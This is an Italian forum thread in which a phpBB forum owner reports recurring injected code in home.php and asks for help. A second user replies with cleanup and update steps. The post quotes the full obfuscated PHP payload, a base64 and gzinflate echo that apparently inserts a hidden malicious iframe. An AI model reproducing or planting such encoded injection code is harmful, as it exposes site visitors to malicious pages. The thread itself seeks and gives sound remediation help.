malware #d93065#

[lucaguida]

ciao a tutti
da qualche settimana ho un problema con il forum su sito http://www.bonsaitime.com che gestisco: periodicamente mi compare nel codice delle pagine principali (home.php) un codice malevolo che inserisce un iframe nascosto ad una pagina segnalata come non affidabile, ottenendo che qualche antivirus blocca la visualizzazione della pagina.
il codice inserito è una cosa del genere:

#d93065#
echo(gzinflate(base64_decode("3VPBcoIwEP0V60FBQElIQBvTHvyEHhkPKiCMVhCYdhzHf282Sxh12h8oE0Ky2d339m0YDP7Hs2x2dVG1b219uZ6nm6pKT8kqL46JdXaGQ1vcdpt2l1vnb/uaS88ndMZFJsdZXX6u8rGAsG2636ayqsu2bC9VakK2LNgnjX1tGhmvReZIKx+NMvt9vKlXZZKOX4dDkcr0a3MUJxmTKXd9l3GX+2rFmJp4AKsFTBy2vrK4ZO5yfUhdFmknPCVqgJ1ytLNQuzymIEQZu2B0BiNkgjwwiEuZwgDz/C47myMb3mXnTBOhaNWuSNk3vJEt9bUf0QgEoICC/8zL8AgiLM5UZuAVUBdKeyTaKbXQI0JIFt5XFfRkAnTGJL9Kw1hHnkITDKpJBdXcJQg6YBQaoXtU9tiwxwKUDgjXh6L2JhoEw0p7HRi2IXryoSH0GqX/s+HKSd8Kojd6BfdMXceytgoZetQj8AqPhL5TvEjqUVE4jn09yEKom9s0zkdbF6d9nK0tj0zyicUdMjnFh7Wtfo7Uahr1uS1n3W/0Aw==")));
#/d93065#

ogni volta che cancello questo codice, ricompare dopo qualche giorno.
poichè escludo l'accesso in ftp da utenti non riconosciuti, penso che il problema dipenda da una falla del forum che è un phpbb.

avete qualche consiglio?

grazie
ciao

[Angolo]

Se in effetti la versione in uso è la 3.0.0, è sicuro che la causa sia il phpBB3. Ma non il phpBB3 in sé, ma il phpBB3 non aggiornato. Che è cosa diversa. Se invece la versione fosse la 3.0.10, sarebbe sicuro che il phpBB3 non avrebbe praticamente alcuna rilevanza nella faccenda.

Conferma per favore, la versione indicata nel profilo.

Chiarito questo, devi (tutto e nell'ordine):

1 - Effettuare una seria e approfondita scansione antivirus e antispyware sul tuo PC
2 - Cambiare tutte le password amministrative, utilizzando password molto complesse. Inclusa email.
3 - Sperando che il database sia integro, effettuare un corretto ripristino integrale ftp (corretto: relativo alla tua versione... prima cancelli completamente il vecchio contenuto e dopo carichi il nuovo; niente sovrascrittura).
4 - Se così risolvi, procedi immediatamente all'aggiornamento verso la 3.0.10, che deve essere completo (phpBB, stile, traduzione).

Il tuo profilo indica assenza di MOD, se confermi, la cosa è relativamente semplice, e non si pone questo problema. MOD o modifiche in genere, script, contatori non collaudati, ecc.